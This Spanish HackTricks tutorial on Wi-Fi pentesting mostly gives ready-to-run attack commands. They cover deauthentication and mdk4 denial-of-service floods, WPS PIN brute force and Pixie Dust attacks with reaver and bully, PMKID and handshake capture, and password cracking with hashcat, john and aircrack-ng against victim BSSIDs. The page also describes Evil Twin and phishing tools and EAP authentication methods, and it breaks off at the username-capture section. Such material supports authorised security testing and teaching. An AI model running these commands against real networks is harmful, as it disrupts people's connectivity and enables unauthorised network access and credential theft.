# Pentesting Wifi
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
**Obtén recompensas sin demoras**\
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
**Obtén experiencia en pentesting web3**\
¡Los protocolos blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
**Conviértete en la leyenda del hacker web3**\
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
[**Regístrate en HackenProof**](https://hackenproof.com/register) ¡comienza a ganar con tus hacks!
{% embed url="https://hackenproof.com/register" %}
## Comandos básicos de Wifi
```bash
ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
```
EAPHammer es una herramienta de pentesting de Wi-Fi que permite realizar ataques de autenticación EAP (Extensible Authentication Protocol) contra redes inalámbricas. Esta herramienta es capaz de realizar ataques de fuerza bruta, ataques de diccionario y ataques de retransmisión EAP. EAPHammer es una herramienta muy potente y versátil que puede ser utilizada para evaluar la seguridad de las redes Wi-Fi. Puede ser ejecutada en sistemas Linux y requiere privilegios de root para funcionar correctamente.
Para obtener más información sobre cómo utilizar EAPHammer, consulte la [documentación oficial](https://github.com/s0lst1c3/eaphammer).
### Fluxion
Fluxion es una herramienta de pentesting de Wi-Fi que automatiza el proceso de ataque a redes inalámbricas. Utiliza técnicas de phishing para engañar a los usuarios y obtener sus credenciales de Wi-Fi. Fluxion es capaz de realizar ataques de fuerza bruta, ataques de diccionario y ataques de retransmisión EAP. Esta herramienta es muy fácil de usar y puede ser ejecutada en sistemas Linux.
Para obtener más información sobre cómo utilizar Fluxion, consulte la [documentación oficial](https://github.com/FluxionNetwork/fluxion).
### Wifite
Wifite es una herramienta de pentesting de Wi-Fi que automatiza el proceso de ataque a redes inalámbricas. Utiliza técnicas de fuerza bruta y ataques de diccionario para obtener las contraseñas de las redes Wi-Fi. Wifite es una herramienta muy rápida y eficiente que puede ser ejecutada en sistemas Linux.
Para obtener más información sobre cómo utilizar Wifite, consulte la [documentación oficial](https://github.com/derv82/wifite).
### Aircrack-ng
Aircrack-ng es una suite de herramientas de pentesting de Wi-Fi que incluye herramientas para capturar paquetes, descifrar claves WEP y WPA/WPA2, y realizar ataques de fuerza bruta y ataques de diccionario. Aircrack-ng es una de las herramientas más populares y ampliamente utilizadas para auditar la seguridad de las redes Wi-Fi. Puede ser ejecutada en sistemas Linux y Windows.
Para obtener más información sobre cómo utilizar Aircrack-ng, consulte la [documentación oficial](https://www.aircrack-ng.org/).
### Reaver
Reaver es una herramienta de pentesting de Wi-Fi que se utiliza para realizar ataques de fuerza bruta contra redes WPA/WPA2. Esta herramienta aprovecha una vulnerabilidad en el protocolo WPS (Wi-Fi Protected Setup) para obtener la contraseña de la red Wi-Fi. Reaver es una herramienta muy potente y eficiente que puede ser ejecutada en sistemas Linux y Windows.
Para obtener más información sobre cómo utilizar Reaver, consulte la [documentación oficial](https://github.com/t6x/reaver-wps-fork-t6x).
### Bully
Bully es una herramienta de pentesting de Wi-Fi que se utiliza para realizar ataques de fuerza bruta contra redes WPS. Esta herramienta es similar a Reaver, pero utiliza un enfoque diferente para obtener la contraseña de la red Wi-Fi. Bully es una herramienta muy eficiente y puede ser ejecutada en sistemas Linux.
Para obtener más información sobre cómo utilizar Bully, consulte la [documentación oficial](https://github.com/aanarchyy/bully).
### Wireshark
Wireshark es una herramienta de análisis de tráfico de red que se utiliza para capturar y analizar paquetes de datos en una red. Esta herramienta es muy útil para auditar la seguridad de las redes Wi-Fi, ya que permite analizar el tráfico de red y detectar posibles vulnerabilidades. Wireshark es una herramienta de código abierto y puede ser ejecutada en sistemas Linux, Windows y macOS.
Para obtener más información sobre cómo utilizar Wireshark, consulte la [documentación oficial](https://www.wireshark.org/).
```
git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup
```
# Airgeddon
Airgeddon es una herramienta de prueba de penetración (pentesting) de redes inalámbricas que se utiliza para auditar y asegurar la seguridad de las redes WiFi. Esta herramienta está diseñada para ser utilizada en sistemas operativos basados en Linux y proporciona una amplia gama de funcionalidades para realizar ataques y pruebas de seguridad en redes WiFi.
## Características principales
- **Modos de ataque**: Airgeddon ofrece una variedad de modos de ataque, incluyendo ataques de fuerza bruta, ataques de diccionario, ataques de deautenticación y ataques de Evil Twin. Estos modos de ataque permiten a los pentesters evaluar la seguridad de una red WiFi desde diferentes perspectivas.
- **Interfaz gráfica de usuario (GUI)**: Airgeddon cuenta con una interfaz gráfica de usuario intuitiva que facilita su uso, incluso para aquellos que no tienen experiencia en la realización de pruebas de penetración. La GUI proporciona una visión general de las redes WiFi disponibles y permite a los usuarios seleccionar y configurar los diferentes modos de ataque.
- **Automatización**: Airgeddon está diseñado para automatizar gran parte del proceso de prueba de penetración de redes WiFi. Esto incluye la detección automática de redes, la captura de handshakes, la generación de contraseñas y la ejecución de ataques. Esta automatización ayuda a los pentesters a ahorrar tiempo y esfuerzo durante las pruebas.
- **Compatibilidad**: Airgeddon es compatible con una amplia gama de adaptadores WiFi y tarjetas de red, lo que permite a los usuarios utilizar hardware existente para realizar pruebas de penetración. Además, la herramienta es compatible con diferentes distribuciones de Linux, lo que la hace accesible para una variedad de usuarios.
## Uso de Airgeddon
Para utilizar Airgeddon, es necesario tener un sistema operativo basado en Linux y tener instaladas las dependencias necesarias. Una vez que se cumplen estos requisitos, se puede descargar y ejecutar Airgeddon desde el repositorio oficial.
Una vez que Airgeddon está en funcionamiento, los usuarios pueden seleccionar el modo de ataque deseado y configurar las opciones correspondientes. La herramienta guiará a los usuarios a través de los pasos necesarios para llevar a cabo el ataque seleccionado.
Es importante tener en cuenta que Airgeddon debe ser utilizado con fines legales y éticos. Los usuarios deben obtener el permiso adecuado antes de realizar pruebas de penetración en redes WiFi que no les pertenezcan.
```bash
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
```
**Ejecutar airgeddon con docker**
Si prefieres ejecutar airgeddon en un entorno aislado utilizando Docker, puedes seguir los siguientes pasos:
1. Asegúrate de tener Docker instalado en tu sistema. Puedes encontrar instrucciones de instalación en la documentación oficial de Docker.
2. Clona el repositorio de airgeddon desde GitHub utilizando el siguiente comando:
```
git clone https://github.com/v1s1t0r1sh3r3/airgeddon.git
```
3. Navega hasta el directorio de airgeddon:
```
cd airgeddon
```
4. Construye la imagen de Docker utilizando el archivo Dockerfile proporcionado:
```
docker build -t airgeddon .
```
5. Una vez que la imagen se haya construido correctamente, puedes ejecutar airgeddon dentro de un contenedor Docker utilizando el siguiente comando:
```
docker run -it --net=host --privileged airgeddon
```
Ten en cuenta que se utiliza la opción `--net=host` para permitir que el contenedor acceda a la red del host y la opción `--privileged` para otorgar privilegios al contenedor.
Con estos pasos, podrás ejecutar airgeddon utilizando Docker y aprovechar los beneficios de un entorno aislado y portátil.
```bash
docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon
```
### wifiphisher
Puede realizar ataques de Evil Twin, KARMA y Beacons Conocidos, y luego utilizar una plantilla de phishing para lograr obtener la contraseña real de la red o capturar las credenciales de las redes sociales.
```bash
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies
```
### [Wifite2](https://github.com/derv82/wifite2)
Esta herramienta automatiza los ataques de **WPS/WEP/WPA-PSK**. Realizará automáticamente:
* Configurar la interfaz en modo monitor
* Escanear posibles redes - Y permitirte seleccionar a la(s) víctima(s)
* Si es WEP - Lanzar ataques WEP
* Si es WPA-PSK
* Si es WPS: ataque Pixie dust y ataque de fuerza bruta (ten cuidado, el ataque de fuerza bruta puede llevar mucho tiempo). Ten en cuenta que no intenta pines nulos ni pines generados de bases de datos.
* Intentar capturar el PMKID del AP para descifrarlo
* Intentar desautenticar a los clientes del AP para capturar un handshake
* Si se tiene el PMKID o el Handshake, intentar descifrarlo usando las 5000 contraseñas más comunes.
## Resumen de los ataques
* **DoS**
* Paquetes de desautenticación/desasociación -- Desconectar a todos (o a un ESSID/Cliente específico)
* APs falsos aleatorios -- Ocultar redes, posibles bloqueos de escáneres
* Sobrecargar AP -- Intentar desactivar el AP (generalmente no muy útil)
* WIDS -- Jugar con el IDS
* TKIP, EAPOL -- Algunos ataques específicos para hacer DoS a algunos APs
* **Descifrado**
* Descifrar **WEP** (varias herramientas y métodos)
* **WPA-PSK**
* **WPS** "Fuerza Bruta" del pin
* Descifrado de **WPA PMKID**
* \[DoS +] Captura de **handshake WPA** + Descifrado
* **WPA-MGT**
* Captura de **nombre de usuario**
* **Fuerza Bruta** de credenciales
* **Evil Twin** (con o sin DoS)
* Evil Twin **Abierto** \[+ DoS] -- Útil para capturar credenciales de portal cautivo y/o realizar ataques LAN
* Evil Twin **WPA-PSK** -- Útil para ataques de red si conoces la contraseña
* **WPA-MGT** -- Útil para capturar credenciales de la empresa
* **KARMA, MANA**, **Loud MANA**, **Beacon conocido**
* **+ Abierto** -- Útil para capturar credenciales de portal cautivo y/o realizar ataques LAN
* **+ WPA** -- Útil para capturar handshakes WPA
## DoS
### Paquetes de Desautenticación
La forma más común de realizar este tipo de ataque es mediante paquetes de **desautenticación**. Estos son un tipo de trama "de gestión" responsable de desconectar un dispositivo de un punto de acceso. Falsificar estos paquetes es la clave para [hackear muchas redes Wi-Fi](https://null-byte.wonderhowto.com/how-to/wi-fi-hacking/), ya que puedes desconectar forzosamente a cualquier cliente de la red en cualquier momento. La facilidad con la que se puede hacer esto es algo aterrador y a menudo se hace como parte de la obtención de un handshake WPA para descifrarlo.
Además de utilizar esta desconexión momentánea para obtener un handshake para descifrar, también puedes dejar que esos paquetes de desautenticación sigan llegando, lo que tiene el efecto de bombardear al cliente con paquetes de desautenticación aparentemente provenientes de la red a la que están conectados. Debido a que estas tramas no están encriptadas, muchos programas aprovechan las tramas de gestión falsificándolas y enviándolas a uno o todos los dispositivos de una red.\
**Descripción tomada de** [**aquí**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
**Desautenticación usando Aireplay-ng**
```
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
```
* \-0 significa desautenticación
* 1 es el número de desautenticaciones a enviar (puedes enviar varias si lo deseas); 0 significa enviarlas continuamente
* \-a 00:14:6C:7E:40:80 es la dirección MAC del punto de acceso
* \-c 00:0F:B5:34:30:30 es la dirección MAC del cliente a desautenticar; si se omite, se envía una desautenticación de difusión (no siempre funciona)
* ath0 es el nombre de la interfaz
### Paquetes de disociación
Los paquetes de disociación son otro tipo de trama de gestión que se utiliza para desconectar un nodo (es decir, cualquier dispositivo como un portátil o un teléfono móvil) de un punto de acceso cercano. La diferencia entre las tramas de desautenticación y las tramas de disociación radica principalmente en la forma en que se utilizan.
Un punto de acceso que busca desconectar un dispositivo no autorizado enviaría un paquete de desautenticación para informar al dispositivo que ha sido desconectado de la red, mientras que un paquete de disociación se utiliza para desconectar cualquier nodo cuando el punto de acceso se apaga, reinicia o abandona el área.
**Descripción de** [**aquí**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
**Este ataque se puede realizar con mdk4 (modo "d"):**
```bash
# -c
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
```
### **Más ataques DOS por mdk4**
**Desde** [**aquí**](https://en.kali.tools/?p=864)**.**
**MODO DE ATAQUE b: Beacon Flooding**
Envía tramas de balizas para mostrar APs falsos a los clientes. ¡Esto a veces puede bloquear los escáneres de red e incluso los controladores!
```bash
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m
```
**MODO DE ATAQUE a: Denegación de Servicio de Autenticación**
Envía tramas de autenticación a todos los AP encontrados dentro del rango. Demasiados clientes pueden bloquear o reiniciar varios APs.
```bash
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
```
**MODO DE ATAQUE p: Sondeo de SSID y Fuerza Bruta**
Sondea los puntos de acceso (AP) y verifica si hay respuesta, útil para comprobar si el SSID ha sido descubierto correctamente y si el AP está dentro de tu rango de envío. También está disponible la **fuerza bruta de SSIDs ocultos** con o sin una lista de palabras.
**MODO DE ATAQUE m: Explotación de Contramedidas de Michael**
Envía paquetes aleatorios o reinyecta duplicados en otra cola de QoS para provocar las contramedidas de Michael en los AP **TKIP**. El AP se apagará durante un minuto completo, lo que lo convierte en un ataque **DoS** efectivo.
```bash
# -t of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
```
**MODO DE ATAQUE e: Inyección de paquetes EAPOL Start y Logoff**
Inunda un AP con tramas de inicio de **EAPOL** para mantenerlo ocupado con **sesiones falsas** y así deshabilitarlo para manejar cualquier cliente legítimo. O desconecta a los clientes mediante la **inyección de mensajes falsos** de Logoff de EAPOL.
```bash
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
```
**MODO DE ATAQUE s: Ataques para redes de malla IEEE 802.11s**
Varios ataques a la gestión de enlaces y enrutamiento en redes de malla. Inundar vecinos y rutas, crear agujeros negros y desviar el tráfico.
**MODO DE ATAQUE w: Confusión de WIDS**
Confundir/Abusar de los Sistemas de Detección y Prevención de Intrusiones mediante la interconexión de clientes a múltiples nodos WDS o falsos puntos de acceso rogue.
```bash
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e -c [-z]
```
**MODO DE ATAQUE f: Fuzzer de Paquetes**
Un sencillo fuzzer de paquetes con múltiples fuentes de paquetes y un conjunto de modificadores interesante. ¡Ten cuidado!
### **Airggedon**
_**Airgeddon**_ ofrece la mayoría de los ataques propuestos en los comentarios anteriores:
![](<../../.gitbook/assets/image (126).png>)
## WPS
WPS significa Wi-Fi Protected Setup. Es un estándar de seguridad de redes inalámbricas que intenta hacer las conexiones entre un enrutador y los dispositivos inalámbricos más rápidas y fáciles. **WPS solo funciona para redes inalámbricas que utilizan una contraseña** que está encriptada con los protocolos de seguridad **WPA** Personal o **WPA2** Personal. WPS no funciona en redes inalámbricas que utilizan la seguridad WEP obsoleta, que puede ser fácilmente descifrada por cualquier hacker con un conjunto básico de herramientas y habilidades. (De [aquí](https://www.digitalcitizen.life/simple-questions-what-wps-wi-fi-protected-setup))
WPS utiliza un PIN de 8 dígitos para permitir que un usuario se conecte a la red, pero primero se verifican los primeros 4 números y, si son correctos, luego se verifican los siguientes 4 números. Luego, es posible realizar un ataque de fuerza bruta en la primera mitad y luego en la segunda mitad (solo 11000 posibilidades).
### Fuerza Bruta de WPS
Hay 2 herramientas principales para realizar esta acción: Reaver y Bully.
* **Reaver** ha sido diseñado para ser un ataque robusto y práctico contra WPS, y ha sido probado en una amplia variedad de puntos de acceso e implementaciones de WPS.
* **Bully** es una **nueva implementación** del ataque de fuerza bruta de WPS, escrita en C. Tiene varias ventajas sobre el código original de reaver: menos dependencias, mejor rendimiento de memoria y CPU, manejo correcto de la endianness y un conjunto de opciones más robusto.
Este ataque aprovecha una **debilidad en el código PIN de WPS de ocho dígitos**; debido a este problema, el protocolo **revela información sobre los primeros cuatro dígitos del PIN**, y el **último** dígito funciona como una **suma de verificación**, lo que facilita el ataque de fuerza bruta al AP de WPS.\
Ten en cuenta que algunos dispositivos incluyen **protecciones contra fuerza bruta**, que generalmente **bloquean las direcciones MAC** que intentan atacar repetidamente. En ese caso, la complejidad de este ataque aumenta, ya que tendrías que **rotar las direcciones MAC** mientras pruebas los PIN.
Si se encuentra el código válido de WPS, tanto Bully como Reaver lo utilizarán para descubrir la PSK WPA/WPA2 utilizada para proteger la red, por lo que podrás conectarte siempre que lo necesites.
```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
```
**Fuerza bruta inteligente**
En lugar de comenzar a probar todos los posibles PIN, debes verificar si hay **PINs descubiertos para el AP que estás atacando** (dependiendo de la dirección MAC del fabricante) y los **PINs generados por software**.
* La base de datos de PINs conocidos está hecha para Puntos de Acceso de ciertos fabricantes, para los cuales se sabe que utilizan los mismos PINs de WPS. Esta base de datos contiene los primeros tres octetos de las direcciones MAC y una lista de PINs correspondientes que son muy probables para este fabricante.
* Hay varios algoritmos para generar PINs de WPS. Por ejemplo, ComputePIN y EasyBox utilizan la dirección MAC del Punto de Acceso en sus cálculos. Pero el algoritmo de Arcadyan también requiere un ID de dispositivo.
### Ataque WPS Pixie Dust
Dominique Bongard descubrió que algunos AP tienen formas débiles de generar **nonces** (conocidos como **E-S1** y **E-S2**) que se supone que son secretos. Si logramos descubrir qué son estos nonces, podemos encontrar fácilmente el PIN de WPS de un AP, ya que el AP debe dárnoslo en un hash para demostrar que también conoce el PIN, y el cliente no se está conectando a un AP falso. Estos E-S1 y E-S2 son básicamente las "claves para desbloquear la caja de seguridad" que contiene el PIN de WPS. Más información aquí: [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))
Básicamente, algunas implementaciones fallaron en el uso de claves aleatorias para cifrar las 2 partes del PIN (ya que se descompone en 2 partes durante la comunicación de autenticación y se envía al cliente), por lo que se podría utilizar un ataque offline para forzar el PIN válido.
```
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
```
### Ataque de Null Pin
Algunas implementaciones realmente malas permiten la conexión con Null PIN (muy extraño también). Reaver puede probar esto (Bully no puede).
```
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
```
### Airgeddon
Todos los ataques propuestos de WPS se pueden realizar fácilmente utilizando _**airgeddon.**_
![](<../../.gitbook/assets/image (124).png>)
* 5 y 6 te permiten probar **tu PIN personalizado** (si tienes alguno)
* 7 y 8 realizan el ataque **Pixie Dust**
* 13 te permite probar el **PIN NULL**
* 11 y 12 recopilarán los PIN relacionados con el AP seleccionado de las bases de datos disponibles y generarán posibles PIN utilizando: ComputePIN, EasyBox y opcionalmente Arcadyan (recomendado, ¿por qué no?)
* 9 y 10 probarán **todos los PIN posibles**
## **WEP**
Tan obsoleto y desaparecido que no voy a hablar de ello. Solo sepa que _**airgeddon**_ tiene una opción de WEP llamada "Todo en uno" para atacar este tipo de protección. Más herramientas ofrecen opciones similares.
![](<../../.gitbook/assets/image (125).png>)
**HackenProof es el hogar de todas las recompensas por errores de cifrado.**
**Obtén recompensas sin demoras**\
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
**Obtén experiencia en pentesting web3**\
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
**Conviértete en la leyenda del hacker web3**\
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
[**Regístrate en HackenProof**](https://hackenproof.com/register) y comienza a ganar con tus hacks!
{% embed url="https://hackenproof.com/register" %}
## WPA/WPA2 PSK
### PMKID
En 2018, los autores de hashcat [revelaron](https://hashcat.net/forum/thread-7717.html) un nuevo tipo de ataque que no solo se basa en un solo paquete, sino que no requiere que ningún cliente esté conectado a nuestro AP objetivo, sino solo la comunicación entre el atacante y el AP.
Resulta que **muchos** routers modernos agregan un campo **opcional** al final del primer marco EAPOL enviado por el propio AP cuando alguien se está asociando, el llamado `Robust Security Network`, que incluye algo llamado `PMKID`.
Como se explica en la publicación original, el **PMKID** se deriva utilizando datos que nos son conocidos:
```
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
```
**Dado que la cadena "PMK Name" es constante, conocemos tanto el BSSID del AP como el de la estación y el `PMK` es el mismo obtenido de un apretón de manos completo de 4 vías**, ¡esto es todo lo que hashcat necesita para descifrar la PSK y recuperar la frase de paso!\
Descripción obtenida de [aquí](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/).
Para **recopilar** esta información y **realizar un ataque de fuerza bruta** localmente a la contraseña, puedes hacer lo siguiente:
```bash
airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
```
```bash
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
```
Los **PMKIDs capturados** se mostrarán en la **consola** y también se **guardarán** en \_ **/tmp/attack.pcap**\_\
Ahora, convierte la captura al formato de **hashcat/john** y descífrala:
```bash
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
```
Por favor, ten en cuenta que el formato correcto de un hash contiene **4 partes**, como: _4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7\*566f6461666f6e65436f6e6e6563743034383131343838_\
\_\_Si el tuyo solo contiene **3 partes**, entonces es **inválido** (la captura PMKID no fue válida).
Ten en cuenta que `hcxdumptool` **también captura handshakes** (algo como esto aparecerá: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Puedes **transformar** los **handshakes** al formato de **hashcat**/**john** usando `cap2hccapx`.
```bash
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
```
_He notado que algunas capturas de apretones de manos realizadas con esta herramienta no se pueden descifrar incluso si se conoce la contraseña correcta. Recomendaría capturar apretones de manos también de manera tradicional si es posible, o capturar varios de ellos usando esta herramienta._
### Captura de apretón de manos
Una forma de atacar las redes **WPA/WPA2** es capturar un **apretón de manos** e intentar **descifrar** la contraseña utilizada **sin conexión**. Para hacerlo, debes encontrar el **BSSID** y el **canal** de la red **víctima**, y un **cliente** que esté conectado a la red.\
Una vez que tengas esa información, debes comenzar a **escuchar** toda la comunicación de ese **BSSID** en ese **canal**, porque con suerte el apretón de manos se enviará allí:
```bash
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
```
Ahora necesitas **desautenticar** al **cliente** durante unos segundos para que se autentique automáticamente nuevamente en el AP (por favor, lee la parte de DoS para encontrar varias formas de desautenticar a un cliente):
```bash
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, not always work
```
_Nota que una vez que el cliente es desautenticado, podría intentar conectarse a un AP diferente o, en otros casos, a una red diferente._
Una vez que en `airodump-ng` aparece información de un handshake, esto significa que el handshake fue capturado y puedes dejar de escuchar:
![](<../../.gitbook/assets/image (172) (1).png>)
Una vez que el handshake es capturado, puedes **descifrarlo** con `aircrack-ng`:
```
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
```
### Comprobar si hay un handshake en el archivo
**aircrack**
```bash
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
```
**tshark** es una herramienta de línea de comandos que se utiliza para capturar y analizar el tráfico de red. Es parte del conjunto de herramientas de Wireshark y se utiliza comúnmente en pruebas de penetración y análisis forense de redes. Tshark permite a los hackers y profesionales de seguridad examinar el tráfico de red en tiempo real, filtrar paquetes específicos y extraer información relevante para identificar vulnerabilidades y posibles ataques. Esta herramienta es especialmente útil para analizar el tráfico de redes inalámbricas y descubrir posibles puntos débiles en la seguridad de las redes WiFi.
```bash
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
```
[**cowpatty**](https://github.com/roobixx/cowpatty) es una herramienta de línea de comandos que se utiliza para realizar ataques de fuerza bruta contra contraseñas de redes Wi-Fi protegidas con el protocolo WPA/WPA2. Esta herramienta utiliza tablas de precomputación (tablas rainbow) para acelerar el proceso de descifrado de contraseñas. Cowpatty es una herramienta muy popular en el campo de la seguridad informática y es ampliamente utilizada por los profesionales de la pentesting.
```
cowpatty -r psk-01.cap -s "ESSID" -f -
```
_Si esta herramienta encuentra un apretón de manos incompleto de un ESSID antes que uno completo, no detectará el válido._
**pyrit**
```bash
apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze
```
## **WPA Enterprise (MGT)**
Es importante hablar sobre los **diferentes métodos de autenticación** que podrían ser utilizados por una red Wifi empresarial. Para este tipo de redes Wifi, es probable que encuentres algo como esto en `airodump-ng`:
```
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
```
**EAP** (Protocolo de Autenticación Extensible) es la base de la comunicación de autenticación, sobre la cual se utiliza un algoritmo de autenticación por parte del servidor para autenticar al cliente (suplicante) y, en algunos casos, por parte del cliente para autenticar al servidor.\
Los principales algoritmos de autenticación utilizados en este caso son:
* **EAP-GTC:** Es un método EAP que admite el uso de tokens de hardware y contraseñas de un solo uso con EAP-PEAP. Su implementación es similar a MSCHAPv2, pero no utiliza un desafío entre pares. En su lugar, las contraseñas se envían al punto de acceso en texto plano (muy interesante para ataques de degradación).
* **EAP-MD-5 (Message Digest)**: El cliente envía el hash MD5 de la contraseña. **No se recomienda**: Vulnerable a ataques de diccionario, sin autenticación del servidor y sin forma de generar claves de privacidad equivalentes con cable (WEP) por sesión.
* **EAP-TLS (Transport Layer Security)**: Se basa en certificados del lado del cliente y del servidor para realizar la autenticación y se puede utilizar para generar dinámicamente claves WEP basadas en el usuario y la sesión para asegurar las comunicaciones posteriores.
* **EAP-TTLS (Tunneled Transport Layer Security)**: Autenticación mutua del cliente y la red a través de un canal (o túnel) cifrado, así como un medio para derivar claves WEP dinámicas por usuario y por sesión. A diferencia de EAP-TLS, **EAP-TTLS solo requiere certificados del lado del servidor (el cliente utilizará credenciales)**.
* **PEAP (Protected Extensible Authentication Protocol)**: PEAP es similar al protocolo **EAP**, pero crea un túnel TLS para proteger la comunicación. Luego, se pueden utilizar protocolos de autenticación débiles sobre EAP, ya que estarán protegidos por el túnel.
* **PEAP-MSCHAPv2**: También se conoce como **PEAP** porque es ampliamente adoptado. Es simplemente el desafío/respuesta vulnerable llamado MSCHAPv2 sobre PEAP (está protegido por el túnel TLS).
* **PEAP-EAP-TLS o simplemente PEAP-TLS**: Es muy similar a **EAP-TLS**, pero se crea un túnel TLS antes de intercambiar los certificados.
Puede encontrar más información sobre estos métodos de autenticación [aquí](https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol) y [aquí](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html).
### Captura de nombre de usuario
